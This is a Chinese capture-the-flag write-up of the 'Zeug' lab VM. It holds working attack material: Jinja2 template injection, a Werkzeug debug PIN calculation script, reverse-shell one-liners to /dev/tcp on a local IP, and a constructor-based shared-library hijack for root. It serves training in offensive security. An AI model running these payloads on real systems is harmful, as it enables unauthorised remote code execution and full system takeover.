文章

Zeug

zeug

导入靶场时,建议使用为所有网卡重新生成MAC地址。

image-20240328135716613

信息搜集

端口扫描

1
nmap -sCV 10.0.2.13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             109 Jan 06 23:14 README.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.0.2.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.1 Python/3.11.2
|     Date: Thu, 28 Mar 2024 05:58:16 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 549
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Zeug</title>
|     <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
|     </head>
|     <body>
|     <h1>Zeug</h1>
|     <h3>Rendering HTML templates</h3>
|     <form action="/" method="post" enctype="multipart/form-data">
|     <input type="file" name="file" accept=".html" title="Select file" required>
|     <input type="submit" value="Upload">
|     </form>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.1 Python/3.11.2
|     Date: Thu, 28 Mar 2024 05:58:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, GET, POST, HEAD
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=3/28%Time=660506F8%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,2D3,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\
SF:x20Python/3\.11\.2\r\nDate:\x20Thu,\x2028\x20Mar\x202024\x2005:58:16\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20549\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lan
SF:g=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x2
SF:0\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x2
SF:0initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Zeug</title>\n\x20\x20\x
SF:20\x20<link\x20rel=\"stylesheet\"\x20type=\"text/css\"\x20href=\"/stati
SF:c/styles/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20<h1>Zeug</h1>
SF:\n\x20\x20\x20\x20<h3>Rendering\x20HTML\x20templates</h3>\n\n\x20\x20\x
SF:20\x20<form\x20action=\"/\"\x20method=\"post\"\x20enctype=\"multipart/f
SF:orm-data\">\n\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\"file\"\x2
SF:0name=\"file\"\x20accept=\"\.html\"\x20title=\"Select\x20file\"\x20requ
SF:ired>\n\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\"submit\"\x20val
SF:ue=\"Upload\">\n\x20\x20\x20\x20</form>\n\n\x20\x20\x20\x20\n\n\x20\x20
SF:\x20\x20\n</body>\n</html>")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<ht
SF:ml\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<titl
SF:e>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<
SF:body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/
SF:1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20expl
SF:anation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x
SF:20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(HTTPOptions,CD,"
SF:HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\x20Python/3\.11\.
SF:2\r\nDate:\x20Thu,\x2028\x20Mar\x202024\x2005:58:31\x20GMT\r\nContent-T
SF:ype:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x20GET,\x20PO
SF:ST,\x20HEAD\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Unix

image-20240328140322970

漏洞挖掘

尝试连接ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali💀kali)-[~]
└─$ ftp 10.0.2.13
Connected to 10.0.2.13.
220 (vsFTPd 3.0.3)
Name (10.0.2.13:kali): ftp
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||52547|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             109 Jan 06 23:14 README.txt
226 Directory send OK.
ftp> get README.txt
local: README.txt remote: README.txt
229 Entering Extended Passive Mode (|||48843|)
150 Opening BINARY mode data connection for README.txt (109 bytes).
100% |**************************************************************************|   109        2.72 KiB/s    00:00 ETA
226 Transfer complete.
109 bytes received in 00:00 (2.67 KiB/s)

README.txt内容为:

1
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.

查看页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Zeug</title>
    <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
    <h1>Zeug</h1>
    <h3>Rendering HTML templates</h3>
    <form action="/" method="post" enctype="multipart/form-data">
        <input type="file" name="file" accept=".html" title="Select file" required>
        <input type="submit" value="Upload">
    </form>
</body>
</html>

SSTI 模板注入

尝试模板注入,传一个简单的html上去:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
    <head>
        HelloWorld!
    </head>
    <body>
        
    </body>
</html>

image-20240328141531197

看来真的存在模板注入了!

https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/#jinja2-debug-statement

1
1
Error: File: /home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py - Template contains restricted words: os
1
1
Error: File: /home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py - Template contains restricted words: subclasses, [, ]
1
1
Error: File: /home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py - Template contains restricted words: init
1

image-20240328153310165

发现两个用户cosetteexia.

方法一:模板注入

先查看一下内置函数:

1
1
<html> <head> HelloWorld! </head> <body> {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2023 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.} </body> </html>

查看一下用户名:

1
1
<html> <head> HelloWorld! </head> <body> cosette </body> </html>

尝试上传一个反弹shell:

1

image-20240328160430291

执行一下:

1

image-20240328160917535

拿到shell了!

方法二:破解PIN

这里我因为有事情断开了,重启以后改用桥接方便在本机上操作了,不影响任何东西。

因为debug开启了,所以我们可以访问console,但是需要 pin 码。

image-20240328155306443

这个pin存在漏洞可以获取:https://github.com/wdahlenburg/werkzeug-debug-console-bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# get_pin.py
import hashlib
from itertools import chain

probably_public_bits = [
    'user',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'
]

private_bits = [
    '279275995014060',
    'd4e6cb65d59544f3331ea0425dc555a1'
]

h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

我们需要修改四个地方:

1
2
3
4
5
6
7
8
9
10
11
probably_public_bits = [
    'user',															# 1
    'flask.app',													
    'Flask',														
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'			# 2
]

private_bits = [
    '279275995014060',										 		# 3 
    'd4e6cb65d59544f3331ea0425dc555a1'								# 4
]

用户名信息

前面有一个报错:

1
Error: File: /home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py - Template contains restricted words: init

所以很明显,用户名为:cosette

app.py 地址信息

/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py

MAC地址信息

#3 的内容需要的是mac地址信息:我的是08:00:27:25:b4:6c,使用python转换一下进制即可:

1
2
3
4
5
6
┌──(kali💀kali)-[~/temp]
└─$ python3                 
Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x08002725b46c)   # 将冒号去掉最前面加上0x即可
8796749804652

Machine ID

正常情况可以使用脚本获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)

但是我们这边是上传,尝试一下构造payload获取:

1
2
3
4
5
6
# <html> <head> HelloWorld! </head> <body> 48329e233f524ec291cce7479927890b </body> </html>

# <html> <head> HelloWorld! </head> <body> 3f935d08-760e-4f78-aa51-e59eac98390a </body> </html>

# <html> <head> HelloWorld! </head> <body> 0::/system.slice/zeug-app.service </body> </html>

创建文件,放入我们搜集到的信息,更改一下脚本,然后运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
machine_id = b""
for filename in "machine-id", "boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali💀kali)-[~/temp]
└─$ echo "48329e233f524ec291cce7479927890b" > machine-id
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ echo "3f935d08-760e-4f78-aa51-e59eac98390a" > boot_id
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ echo "0::/system.slice/zeug-app.service" > cgroup    
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ vim mi.py    
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ chmod +x mi.py  
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ python3 mi.py           
b'48329e233f524ec291cce7479927890bzeug-app.service'

更改整体脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# get_pin.py
import hashlib
from itertools import chain

probably_public_bits = [
    'cosette',
    'flask.app',
    'Flask',
    '/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py'
]

private_bits = [
    '8796749804652',
    '48329e233f524ec291cce7479927890bzeug-app.service'
]

h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

运行得到 pin 码:

1
2
3
4
5
6
7
8
9
┌──(kali💀kali)-[~/temp]
└─$ vim get-pin.py
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ chmod +x get-pin.py 
                                                                                                                       
┌──(kali💀kali)-[~/temp]
└─$ python3 get-pin.py 
367-506-961

image-20240328165626788

不知道哪里出错了。。。。删除机器,重新导入机器并为机器所有网卡重新赋予MAC地址。

再次尝试:

image-20240328172650120

成功!

Console RCE

1
2
3
__import__('os').popen('whoami').read();
__import__('os').system("bash -i >& /dev/tcp/172.20.10.8/1234 0>&1")
__import__('os').system('bash -c "bash -i >& /dev/tcp/172.20.10.8/1234 0>&1"')

image-20240328173404084

提权

信息搜集

image-20240328174036683

查看seed_back

1
2
file seed_bak     
seed_bak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=403ea35a235b0a4c74f7977580b4ef46fcd0f044, for GNU/Linux 4.4.0, not stripped

丢进ida看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// main.c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h]
  int v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  banner(*(_QWORD *)&argc, argv, envp);
  srand(1u);
  v5 = rand();
  v6 = -559038737;
  v4 = 0;
  printf("Enter a number: ");
  __isoc99_scanf("%d", &v4);
  if ( v6 == (v5 ^ v4) )
    system("/bin/bash");
  else
    puts("Wrong.");
  return 0;
}

伪随机数+切换exia用户

是一个伪随机数,写一个脚本利用一下:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main() {
    srand(1u);
    int v5 = rand();
    int v6 = -559038737;
    printf("%d\n", v5 ^ v6);
    return 0;
}
// -1255736440

image-20240328180730702

二次提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
exia@zeug:/home/cosette$ cd /home/exia
exia@zeug:~$ ls -la
total 44
drwx------ 3 exia exia  4096 Jan  6 23:23 .
drwxr-xr-x 4 root root  4096 Jan  6 19:28 ..
lrwxrwxrwx 1 exia exia     9 Jan  6 23:23 .bash_history -> /dev/null
-rwx------ 1 exia exia   220 Apr 23  2023 .bash_logout
-rwx------ 1 exia exia  3526 Apr 23  2023 .bashrc
drwx------ 3 exia exia  4096 Jan  6 21:46 .local
-rwx------ 1 exia exia   807 Apr 23  2023 .profile
-rwx------ 1 exia exia 15744 Jan  6 21:59 seed
-rwx------ 1 exia exia    38 Jan  6 22:14 user.txt
exia@zeug:~$ cat user.txt
HMYVM{exia_1XZ2GUy6gwSRwXwFUKEkZC6cT}
exia@zeug:~$ sudo -l
Matching Defaults entries for exia on zeug:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User exia may run the following commands on zeug:
    (root) NOPASSWD: /usr/bin/zeug

反编译zeug

1
2
3
4
5
6
7
8
// main.c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  if ( dlopen("/home/exia/exia.so", 2) )
    return 0;
  fwrite("Error opening file\n", 1uLL, 0x13uLL, _bss_start);
  return 1;
}

它运行了/home/exia.so目录下的链接库文件,尝试进行劫持利用

1
2
3
4
5
6
7
8
9
10
11
12
13
// exia.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void inject()__attribute__((constructor));

void inject() {
	unsetenv("LD_PRELOAD");
	setuid(0);
	setgid(0);
	system("/bin/bash");
}

然后编译为链接库文件:

1
gcc  -fPIC -shared -o exia.so exia.c

image-20240328182210680

传过去,运行获得root!

image-20240328182504876

寻找flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
exia@zeug:~$ sudo /usr/bin/zeug
root@zeug:/home/exia# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@zeug:/home/exia# cd /root
root@zeug:~# ls -la
total 32
drwx------  4 root root 4096 Jan  6 23:52 .
drwxr-xr-x 18 root root 4096 Jan  6 13:28 ..
lrwxrwxrwx  1 root root    9 Jan  6 23:20 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
-rw-------  1 root root   20 Jan  6 22:40 .lesshst
drwxr-xr-x  3 root root 4096 Jan  6 13:52 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root    0 Jan  6 15:13 .python_history
-rw-r--r--  1 root root   38 Jan  6 23:06 root.txt
drwx------  2 root root 4096 Jan  6 23:52 .ssh
root@zeug:~# cat root.txt 
HMYVM{root_Ut9RX5o7iZVKXjrOgcGW3fxBq}

参考blog

https://www.cnblogs.com/bmjoker/p/13508538.html

https://moonsec.top/articles/108

https://hackmanit.de/en/blog-en/178-template-injection-vulnerabilities-understand-detect-identify

https://wiki.wgpsec.org/knowledge/ctf/SSTI.html

本文由作者按照 CC BY 4.0 进行授权